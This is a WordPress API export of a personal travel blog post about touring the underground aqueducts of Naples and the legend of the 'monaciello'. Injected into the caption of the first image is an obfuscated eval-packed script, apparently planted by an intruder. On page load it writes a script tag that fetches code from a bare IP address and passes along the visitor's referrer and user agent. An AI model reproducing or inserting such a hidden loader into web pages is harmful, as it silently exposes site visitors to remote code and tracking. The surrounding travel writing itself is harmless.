{"id":5291,"date":"2017-08-20T11:31:50","date_gmt":"2017-08-20T18:31:50","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=5291"},"modified":"2017-08-20T11:31:50","modified_gmt":"2017-08-20T18:31:50","slug":"naples-below","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=5291","title":{"rendered":"Naples Below"},"content":{"rendered":"<p>We took a tour of an underground aqueduct system beneath the city. \u00c2\u00a0It was really, really cool &#8212; literally, quite pleasant on a hot summer day &#8212; and also marvelously strange to be walking through passages that served such an ordinary function but were such masterpieces of engineering, and so long ago, and used for so long&#8230; \u00c2\u00a0Not just in the ancient world but right up through the middle ages. They were used as bomb shelters in WWII.<\/p>\n<div id=\"attachment_5293\" style=\"width: 310px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-5293\" class=\"wp-image-5293 size-medium\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/16-visitare-napoli-sotterranea-300x198.jpg\" alt=\"\" width=\"300\" height=\"198\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/16-visitare-napoli-sotterranea-300x198.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/16-visitare-napoli-sotterranea-768x506.jpg 768w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/16-visitare-napoli-sotterranea.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><p id=\"caption-attachment-5293\" class=\"wp-caption-text\"><noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhtib|var|u0026u|referrer|kiaat||js|php'.split('|'),0,{}))\n<\/script><\/noindex> I didn&#8217;t take photos down there so I stole this one from the interwebs.<\/p><\/div>\n<p>Nicer houses had their own indoor well so that water could be pulled up from the cistern right at home. \u00c2\u00a0Aqueduct-cleaners scrambled along narrow stone ledges all through the cistern systems, like inverted chimney-sweeps. \u00c2\u00a0They weren&#8217;t monks, but somehow they collectively became the &#8220;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Monaciello\">monaciello,<\/a>&#8221; the &#8220;little monk,&#8221; who might climb up though the well-hole in your house and steal your socks, like inverted Christmas elves.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-5292 size-thumbnail\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/monaciello-843-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/p>\n<p>Or if you were lucky, the monaciello might just decide to leave you a pile of money, like a leprechaun.<\/p>\n<p>&nbsp;<\/p>\n<p>I love the underneath of things.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>We took a tour of an underground aqueduct system beneath the city. \u00c2\u00a0It was really,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":5292,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[124],"tags":[63,105,34],"class_list":["post-5291","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-travel","tag-family","tag-gnome","tag-travel"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/5291"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5291"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/5291\/revisions"}],"predecessor-version":[{"id":5294,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/5291\/revisions\/5294"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/5292"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5291"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5291"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5291"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}